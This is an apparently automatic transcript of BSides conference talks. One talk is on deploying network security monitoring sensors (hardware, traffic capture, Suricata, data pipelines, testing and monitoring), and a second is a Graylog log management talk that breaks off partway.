so when we look into the challenges specific for the hardware in most of the environments you will see 10 to 40 gigabits of traffic also some deployments already at the 100 gigabit uh area but that's not as uh distributed or not seen as much right now because it's all the on like universities have net networks like that it takes some time for the enterprise network to upgrade to more uh faster network connections and you will have to deal with some sort of requirements by the customer for example a lot of customers saying okay we can't provide more than one unit of rackspace so you need to make sure that your appliance is as small as possible
there's also different verizon variation on what network connection does the customer have do they already have sfps for a fiber connection or do they still rely on normal copper network cables you need to make sure that you're flexible enough for your customer because they have different requirements but on the other side you want to stay consistent as possible so you try to balance those both areas because if you go too deep into flexibility you will lose consistency and have a whole lot of maintenance work to do there also what we've seen is shipping restrictions so it's quite easy to distribute appliances especially for managed service within germany or the european union but if you over start to
like have a customer that has the whole on the old world some data centers think about asia africa it's very complicated to have a solid shipping the era based on taxes or the customs and stuff like that so you need to be aware of those restrictions as well you have to deal with different set of meta selections that's quite of course and the hardware availability especially this year we've seen that it's very hard to get specific hardware we've seen it on the gpus although we know you don't use gpus on those supplies for sure but obviously pricing of memory and disks has increased and developed availability also as well so it's a challenge as well
so different solutions uh came up so for a 10 to 20 gigabit network it's totally fine to use one single machine at least for our use case you just need to make sure that it has enough power one of the recommendations that you use a dual socket cpu system for example with intel xeon or amd epic are very fast as well with enough cores to deal with all the traffic that you've seen and also that you have some sort of capacity for other services that you want to run on your system so it's not just the detection engine you have to do you have to keep in mind that the operating system needs some resources
and any additional tooling you want to provide as well on this machine you need to be very cautious what network cards you buy um cheap ones won't serve the the performance settings you might want to achieve so we've seen that only more or less the more expensive intel cards are good enough that provide specific tuning options and stuff like that that we've hadn't seen only more the less expensive cards the other option is but it's very expensive to go with capture cards that are specifically designed for this use case that sounded more less close to what intel is providing with normal network cards but here's also cards like those from napatec that have an fpga in it so you
can program the nic itself but keep in mind it can be quite expensive especially if you compare it to the cpu into memory what you also will see if you use a dual socket system that you need to be aware of the numeral clustering so you can provide very high performance if you um isolate the dedicated cpus to specific nic i make sure that there's no huge overhead in between um but there's a there's a different talks about that in the community as well that go into deep dive and how you need to configure it and you want a lot of memory because you can store a lot of data in memory it's very fast and you should ensure that you
have enough memory
so in the next step we go into the sensor placement and traffic acquisition so when you want to observe tdd network you should ask yourself is there any central location where most or all of the traffic needs to pass one example would be a core switch we would expect to see most of the traffic you also need to look into what options do you have to mirror the traffic do you have any existing tab or spam ports that you can use to obtain this traffic or maybe do you already have packet broker in place that would provide especially that and but where you would like to add those for example if you have none of
those devices you need to make sure that your call switch either supports this or you that you can somehow um get it out of the place and move it forward to a tap or spin and what type of traffic do you want to see um because you can have a very nice place unless you're switch but if you don't see the right traffic it won't happen at all or not much so we've seen the traffic separation in different dimensions um a lot of customers in the enterprise environment have different vlans where they like separate specific areas so you want to make sure that you have the most interesting vlans included in this traffic composition you want to
definitely see the east west communication for example from specific servers to the theme set or for compliance to the server or within the server network especially if you want to go into lateral movement but you also want to see the north south traffic which would be the example for the uplink to the internet or to your cloud or whatever you're using ideally you see both out of those directions and you need to ensure that you place the sensor location that maximizes protocol visibility in most of the areas we've seen that you can't get all the traffic but you can see the most of it unless you like put the sensor and on every corner in your
network but it might not be feasible so for example instances or where you have dns traffic is one of the most valuable information so if you don't have dns traffic uh within the the ids system you just also use a lot of information but if you have some specific strange protocols that you don't want to investigate at all it might be okay to leave those out so you need to do a nice overview of your network where do you see which traffic what protocols and try to establish the most protocol visibility here if we look into the network challenges there are a lot of challenges but those are the ones we've seen that had making medical headaches
at some point in general a big issue is asymmetric routing or traffic that's only unidirectional it's fine for some protocols like udp but in general if you see tcp traffic you want to see the whole flow so we want to see the direction from a client to a server and the traffic backwards because it's very hard to analyze the traffic if it's not like that another issue could be encapsulated traffic some protocols are quite easy to decapsulate but if you have like different layers of encapsulation for example gre vlan and another encapsulation it's difficult to de-capsulate and also it's a huge hit on the performance so that's that's an issue we've seen in general if you see broken packets that's
always hard to debug because if like information is missing or it's uh broken how would you like try to still analyze identify anything in those packets we've also seen several uh setups where non-standard conforming traffic was seen uh the most example we have is the rfc invalid wheel and qnq headers there's an frc for a specific um vlan and vlan embedding but for example cisco doesn't do it right like the rfc so um if you have a system that's trying to analyze this traffic based on the rsc like the official documentation but it's not showing up like that it might be an issue for the performance as well or even detecting some stuff proprietary protocols it's
quite clear that if there's no good documentation or reverse engineering it's hard to debug those protocols as well and of course encryption makes it difficult to take a look inside the traffic but it's an old deal breaker but you need to just realize that there's no perfect network and that you need to live with those challenges and try to find the best solution for that so some solutions came up um packet brokers are nice they're quite expensive but nice they can fix your problem with the asymmetric routing if you like if you plug in all the different cables and say okay please merge traffic and forward it to your appliance 3d sensor it will solve this issue
it's also possible that the packet broker filter and bypass specific traffic for example elephant flows um might be something you want to filter but you can also filter it on the sensor itself for example ppf filtering the only thing is that if you do it in hardware it's better for the performance unless you have to do it on the system itself try to decapsulate the traffic before you forward it this is an option we've seen in several places that customers were at least had the option to remove some of the vlan tags that have been in the out area that we don't want to look at inside so it was easier to look into the real
traffic we want to see and try to work as fast as possible with your customer to improve the network itself sometimes we've seen issues just with the nsm that there's an issue with indeed network not from a security side but more from a practical operational side um so most of the issues can be dealt with but not out of all of them so when you look into your network setup what should it look like that's that's a very small overview but those are the options we've seen so if you have only topped the internet and behind that the firewalls it would be one option to put a tab device in between to see the north
south traffic on that side and for example forward to a network packet broker you can also add additional tabs so within the firewall the switch and also to other switches within your network where we have on the left the clients or on the right side your servers so make sure that every traffic that might be relevant and should be seen is tapped to a network broker there we can gather all the ead resources already all the sources of the network traffic to some sort of no balancing filtering and stuff like that whatever you like and for example you have like 40 gig ingest or 20 inches you can load balance into two sensors with each
providing 10 gigabit of performance and you can also forward it to a different monitoring system as well like a copy of the traffic so you can be quite flexible with that that's one example how you can do the traffic composition it or highly depends on your network and it's not obviously easy task but the different options that you can look into now we hand it over to sasha okay so before we can talk about the data challenges we should probably just define what data we're actually expecting from such a system um so the probably the simplest piece of data we can get is just simple netflow information so what host in the network talks to another host um how much data
is exchanged in packets and it bytes um and what kind of particles tcp udp and so on that's already quite useful for example to identify uh the top toggles in the network or to derive communication patterns and to make it possible to detect whether two systems that usually not do not communicate will communicate in the future at some point um going beyond that we usually have metadata and that usually means specific protocol specific information that is passed from the observers of serve traffic and um well that might be interesting just to store for potential hunting but it could also be aggregated and added to special purpose databases that are usually tuned for a particular task
like for example an asset tracking database that would provide a summary of all the devices in the network and their potential roles make it possible to derive subnets and their potential properties from there and so on that's pretty useful and you could also do things like passive dns databases um on the base purely on the basis of these metadata and then leaving the pure nsm area and moving on to the intrusion detection field there are also alerts which are based on the occurrence of an interesting pattern somewhere in the observed data and that usually will then be subject later on to contextualization so putting this into a larger perspective usually done by some kind of analyst and then
reporting it to whoever is responsible for security incidents in the in the organization so how do these alerts um usually uh how they are generated so first of all there's in-stream detection and that's usually done by inclusion detection system rules and rules as we know them are written in some kind of um of language that basically describes relationships between patterns that can match both in the raw traffic so by strings somewhere seen on the network as well as um specific specific fields in the metadata um they can be connected um and um and can be put together into conditions and they're pretty heavy weight and examples for these are snort smartest recutables and whoever has already seen those rules
know that they are powerful but are quite expensive to evaluate um there's also the option of downstream our generation for downstream matching and that basically means having a fast uh satellite representation of indicators um that are just simply matched against metadata fields that match the kind of indicator that would that we're looking for so for example we can have a bloom filter which is a probabilistic data structure that allows fast uh matching along for false positives and then for example uh just match all the http host or dns rrname entries against the bloom filter for potential domain indicators and this is so fast that we are using this to match millions of indicators whereas ids rules are usually
just a couple of tens of thousands but it's not feasible both in terms of memory and computing power to have a lot of these rules so we can't have millions of ideas rules in the traditional form so if you rely on rules and these indicators there needs to be some way of obtaining them and to manage them so for rules for example there are open source providers like emerging threats positive technologies and so on they just provide sets of rules to the community at no cost the commercial providers emerging threats also has a professional offering that is crop strike and various others and if you're lucky enough to have a set of analysts or group analysts in your organization they
might also want to write their own rules so having a scm a security content management system is definitely a plus for bloom filters so for the large sets of indicators that we're going to match um usually there are indicator suppliers also there's a huge variety of different uh commercial offerings and you could also just use your own sharing circle for example via federated missed installations that could provide you with these indicators and since there's a possibility of false positive you also need to have some kind of confirmation server that receives alerts that might be false positives and confirms them whether they are in the actual database or not so usually when we talk about data processing
there's a bit of a dilemma we can't really store everything on the sensor in a database because um we have space constraints we have processing constraints and we can't all send it all home because usually we have there could be sensors that observe a lot of traffic but only has a very narrow connection to the back end so the approach that we took was um to derive the information that we're interested in as close to the data source as possible so throw away everything on the sense that we don't really know but what we need um to put this into a form that we can immediately accept on the uh on the back end side so
obviously that needs some way of operationalizing these steps to have something that some kind of engine that accepts different plugins or different components that do these work data filtering and return aggregation i'll show in a minute how we're handling this and then on the receiving side set up some kind of distribution engine that allows multiple consumers to get the same kind of data because at some point you will have multiple components that will need the same data right you will have something for example that takes um net flow to you to do one thing and another that takes the same data to do different thing so a distribution engine on the backhand side is really really
helpful and advice also makes it possible to scale out the whole thing right you can just have multiple consumers sharing the same data source and basically just distribute the data across the same data across a potentially large set of consumers so this is an overview of how we're doing it um and what we've seen to work quite nicely in our context we have sulcata which is the nsm engine that we are using and on the left side which takes traffic from the network interfaces on the sensor and they are taking as i already mentioned rule sets and bloom filters to do detection and all the data so both the alerts and the rest of the metadata that the system
generates is forwarded to a software called fever which is basically just um an engine that runs different um components that can subscribe to particular kinds of data that are received by the system so for example if you want passive dns data and aggregated and sell at home you would subscribe to everything that is directed related to dns if you want to do downstream matching then for example your bloom filter matcher would need to subscribe to dns http and tls and so on and on the receiving side um we're using revit and queue to have one exchange per data type that we receive from the sensor and then we have lots of internal consumers that can just um attach to these exchanges
build their own cues and receive and process the data as they see fit and we've seen this to work extremely well for our use case okay moving on from the data aspect to a different field um having such a system is nice but it's not always easy to debug and to optimize such a system when it's while it's deployed in the field so we need to have some way of testing such an appliance in some kind of lab and ideally under real world conditions but the point the problem is that live traffic as we see that customer sites which that shows a lot of variation so almost no customer deployment is alike to the other um
one another challenge is that we are usually not allowed to sample any traffic from the customer side um to use on the on the left side so we need to have some kind of way of producing a lot of traffic um from scratch out of thin air really um and then we need to have some kind of way to actually simulate that traffic so we can't always replay the same things we might want to have different ip addresses might want to have different source port numbers and so on so there needs to be some kind of engine that respects that and tries to generate real looking data and then it needs to be it's necessary to be able
to um specify a particular traffic um bandwidth for example uh so we can generate um input data at about 100 megabits one gigabit 10 gigabits and even more um to match what we expect in particular deployment and of course to cover everything we want to have at least the most challenging situations available as p caps so we can just get them and run them in the testing setup so we might just buy one of these ready off-the-shelf uh package generator appliances that do this right xcr and so on well they're quite expensive that's that's six figures probably um and they might not always be flexible enough for everything that we want to do and i mean the other end the lower end
is using just using tcp replay with with a set of pcaps but that's um quite hard to tune um and also it generates always the same traffic which might not be realistic enough to actually produce the kind of effect that we want to see in testing so what we settled on was t-rex plus cisco which is a packet generator in software which is built on dpdk you can just run that on a regular server with appropriate network cards and that's actually capable of generating tens to hundreds of people it's a traffic um with with just a very small set of example pcaps that will extend and replay with variations um so we can just use free or anonymous
pickup sets um that um yeah that are available and just um very vary them enough using t-rex to to match a use case um so finally there's the problem of monitoring because we are providing a managed service that means we need to have some kind of um of continuous observation of what the servers look like right so we want to see is the service up what's the system load and the resource usage and what does the traffic look like is there anything that stands out um compared to other deployments so what protocols are there how many metadata do we see and so on and do we have a problem receiving packets so are we actually having
visibility gaps just by not seeing traffic um and is there anything in the inspection engine and that we can use to um uh to optimize the configuration of the particular application and we are using um influence to be the whole tic stack to be exact um and together with rabbit and q to distribute the data and subjects to do um alerting and uh notifications so all of them the sensors the suricata software um is writing metrics into the telegraph agent that runs there so does fever and all of these get sent to a specific exchange in the rabbit and queue which then forwards the date of the networks to be where we use a capacitor instance to do
customized alerting on particular conditions like for example a traffic skew or a machine going down and then to things like rafana chronograph for drill down and for for debugging reasons to actually look at the data that will look something like this so for example here we can see the number of events per second that we process in a particular location and then the distribution of dns requests for example um flows broken down by the app layer so what protocol amounts to what fraction of the total the number of flows that we see and what the distribution of player protocol looks like um from the proportion side um there's actually already a native support and telegraph which was provided
by us and which was merged into the 2019 into the the main table of software right so um i'll pass it on to address again to summarize a couple of challenges in addition so we still have some challenges pending um that we haven't solved completely monitoring and updating remote appliances always a challenge there's no easy solution for that performance is crucial we still have some setup where we need to deal with packet drops and need to find a solution how to deal with them as i've said encapsulated unidirectional proper traffic is always an issue one big issue that's left is big data transfers and backups often called elephant flows um because they are like several gigabits of traffic just one
flow uh and that's killing performance unless you do something about that encryption is an issue especially if it's end to end it's nice to have encryption but from an inspection side it's something you have to deal with and there's so much room for more advanced debugging tools to get a deep dive onto the system why something's uh broken or something's happening so one solution we've came up and which helped us a lot that the hardware selection respect of numero node locality and high performance is very important and needs a lot of time to investigate what might be the perfect hub for your fit it will one solution would be for the elephant flows to find a solid solution
for dynamic flow shunting we're looking into ebpf options capture cuts packet brokers that might provide that feature and cutting a big flow at one point where we only see huge payload that we want to investigate we started to add customized monitoring for the text stack and to combine it with savics the performance optimizations that we've did on the linux system was using the most modern af packet version 3 that helped a lot and make sure that you have symmetric caching and cpu painting so that each traffic will go into one specific hue and the network card that's aligned to one specific cpu on your system that you have a whole pipeline that's never it's not really changing for the specific
flow that you reduce the overhead to the smallest value possible we've tried to or we deploying sometimes the packer program to fix the issues that we've talked about and in some areas we're dealing just with the bppf to bypass specific traffic that is known to be an issue and where no simple solution is there available so i'm heading over again to sasha for investing
right so one of the things that we found out would be really helpful to get us moving and make us agile enough to try many different things just automate as much as we can from deployment to um to monitoring um that automation was really key to be able to yeah try as many things as we can um hardware optimization on numbers already said it um it's really worth it not just buying anything but to know why you need a specific piece of hardware and what the specific upsides are um network knowledge always helps um here so we um don't just react but also try to practically improve the situation um since we have machines out there that
are not under a control so we are happy to have a management connection to actually do anything uh we need to have make sure and take extra precautions to keep in vpn connection always there and also if it's possible to have some kind of ipmi connection there um that saves this later on a lot of trouble um right so monitoring also pretty important um so sometimes you don't just want to react when everything's gone wrong already we want to see the situation before it actually becomes a problem so monitoring in detail um is really helpful um right so i think let's just move on because just the the time is already slipping away um um is there any more questions um just
feel free to ask in the q a or just send us an email or hit us up on twitter thanks thank you everyone bye all right welcome back thanks for the fascinating talk uh are you guys ready for some questions i think we have some time you're ready all right how long does it usually take until the whole nsm system is in a smoothly running state um from the monitoring perspective it depends um if we if the system is wrecked and online it can take one to two days um depending on the customer and and all the optimization but i would guess on the average one to do one to two days um if you have all the
information beforehand it might be even faster but that's the average wow okay you mentioned consistency versus customization in your talk can you talk about cases where you eventually realized if we do x it would be too much customization and increase maintenance effort enormously for very little benefit or the other way around yeah so we had one example we forward different outputs and events to our back-end but also the other like questions from customers can we have those events as well and if the customers have one specific format that's only he is using and it's not like standardized um the effort for pre-processing parsing and all that stuff might be too much to make this effort for the customization
all right sasha you had another example well yeah one another example would be all these little tuning configuration parameters that surry qatar has and then we most likely vary so much across customers that it doesn't make sense to really tune everything perfectly at each individual customer side so it makes more sense to find one common ground that works well enough for most of them and then stick with that instead of putting more effort into maintaining and somehow taming this complexity and another example for example is something like the assignment of cpus to individual worker threats and since this only depends on the variety in hardware sizing that's something that is just um easy to assign right so usually we just
know that a machine with that many view cores or with a particular traffic distribution we would usually need that many calls to process the traffic um so that's that's usually the trade-off that we're going to think about yeah that makes sense another question is how do you handle encrypted traffic so um there are two parts um so if we don't have any specific device we see the encrypted traffic and then you only get any metadata you see the tls event you see some information from the certificate used for example and all the payload later you don't investigate into itself because you don't see it you can't decrypt it on the sensor itself but you have all
the metadata so you can already provide visibility on that another option would be that the customer has some devices that already do the decryption like a manual middle or something like that and they forward this already decrypted traffic to the machine but there is no simple or sensible way to decrypt on the machine itself the traffic i guess that's that's a good thing all right that's all the time we have for now thank you very much again uh sasha and andreas for taking the time to share this fascinating talk with us uh if people want to follow you and your work where can they go i guess the best way would be to follow out with the handles that you already um
tweeted for the presentation all right perfect and you guys will be available for some further questions in the slack channel if you have further questions feel free to ask them uh any last words you guys thanks a lot for this great event it was very very nice good please also check out our sponsor channels for swag and other really cool stuff and stay tuned for our last talk [Music]
[Music]
[Music]
[Music]
welcome back everyone to the last talk of the b-sides mesh 21 conference our speaker is jeff darrington hi jeff hello hello how are you thanks for being with us yeah it's great to be here jeff is senior technical marketing manager at greylog one of our sponsors this year so thanks for the support jeff actually grew up with i.t security before anybody knew what it was and how important it would eventually be in his talk he will give us a short overview of what gray log is and what it can do and how log management can help secure your network so go on and join our slack channel the selection for the talk if you haven't
already participate by asking questions and enjoy jeff's talk log management keeps your network secure real world examples hello i'm jeff darrington the senior technical marketing manager here at greylog i'm happy to be here with you today i'd like to take the next 15 minutes or so and talk about a few things a little bit about the history of greylog why i joined greylog and how great of a company it is to work for and a demo of some network security physical security and some identity management i will be opening up the floor for q a at the end so let's get started first of all a history of greylog greylock began in hamburg germany in
2009 as an open source project for log management and the idea was to offer ideops and devops team security teams a platform to have centralized log management moving forward to today greylog's headquarters is in the united states and texas and a second office in hamburg germany and a new office as of 2021 in london uk greylog now has thousands of installations worldwide a little history on myself and what brought me to greylog i've spent a little over 25 years of my career in various roles in technology at early start and physical security and surveillance systems and then a 10-year career in the telecom and networking with naruto networks and support and a shift to solutions in qa testing with
the demise of nortel networks this brought me to the large county government in the area where all my past experience paid dividends in wired and wireless network engineering and deployment and firewalls vpn application into working and database management and telecommunications i came to a crossroads in my career where i was really missing product development testing and the ability to contribute to a company building a solid product i had already been using greylock for quite a few years so i started crawling linkedin and websites and came across greylog hiring and well the rest is now in the history books i decided to leave the county government i was working at and hang up my pager and on call and put my time and
efforts into something that i had a lot of passion for all my career paths and experience have led me to hear where i am today and greylog is a great place to work and with so many changes around the world regarding remote work i've been able to join very log from canada technology changes so fast not to date myself but it's come a long way from being on a modem at 300 or 1200 baud rate and downloading information from a bulletin board service to dollop internet with a blazing 336 baud rate internet now with cyber security software development applications cloud and iot all with constant cyber threats we're all kept on our toes now let's look into a few things that
keep security at the forefront first i'd like to talk about physical security many people in it ops and operations think about physical security things like locked doors card access cctv cameras and possibly 24x7 security guards in heavy secure areas there is another level of security all the systems and procedures are usually all independent systems i'm wondering has anyone here today thought about your physical intrusion systems or card access or cctv in guard patrols and if you have the knowledge of them in your central log management platforms this is where i'm coming from on this topic most if not all of these systems now have the ability to send their event data to a central area one being for
example a centralized log management platform like graylog think of the information you'll have at your fingertips if you know when people are coming and going from your building if they've been seen on camera or if there are intrusion alarms and guard duty walkthroughs now let's look into an instance of greylock here's a greylog instance capturing card access data from the security system from multiple locations and it's been logged for the users and includes the departments the physical location the geolocation and if they have bad dinner out of those individual locations in this search some representation of staff by numbers of staff in or out or within a ratio of staff by department in this pie chart
now to think about this data for a second some use cases for this information in high security areas would be used for fire drills or alarms if people are in or out of the building and they could have been used for last year of pandemic regarding logging in and logging out for work to keep track of your staff or ensuring that you've kept track of your contact tracing in addition correlation for staff when they're in and out on holidays or correlations of network logins and arrivals or strict onboarding and off-boarding of employees where login accounts are being disabled and physical cards keep things in check if you're disabling user accounts you'd want to ensure that within the
predetermined amount of time frame within your policies that you'd want cards disabled so correlating events could be following these informations from all these systems you're monitoring that layer one or step one of physical security it's important always to maintain constant awareness of what's going on in your network many of you know monitoring things like malware spyware viruses monitoring your traffic flows internally and externally and known internet destination threats these are all standard approaches to understanding what's going on in your network and to highlight this in my greylog instance i've got a dashboard here to just go through regarding the palo alto spotlight and in this we have a global protect tab which includes things like successful and failed logins and
authentication over time and of course including your for these events as well which is very crucial in many different traffic flows to understand where they're going to and from on a map gives you the indications of what's going on in your network the next tab for url filtering this is all your web filtering rules and understanding where everyone is going and what they're doing on the network what might be some some threats regarding individual web transfers or anything going on outside the network a dashboard showing you that that constant flow of web traffic over time and showing you the different categories what's going on and include there as well guip things the next tab we'll go through is the
traffic logs and traffic logs are important for having unique individual sources for destinations and external sources and having them mapped out as well in and showing dashboards with the traffic over time understanding those peaks and valleys throughout the day throughout the time frame obviously if you're an eight to five type business and your traffic flows tend to be at a certain level looking at these values you know in the middle of the night and your time zone all of a sudden the traffic goes through the roof there's a clear indication you know there's something or an anomaly going on in your network you'd probably want to understand other things in this list or with heat
maps and heat maps with traffic so understanding what those high talking applications are or or what's going on with individual users so it's another good way of actually showing that in it and moving on to the threat logs so threat logs give you that alert and level of alert for low medium or high virus or vulnerability or spyware capability within the palo alto so you're able t
Related talks
32:06
29:33
39:42
27:22
32:37
43:32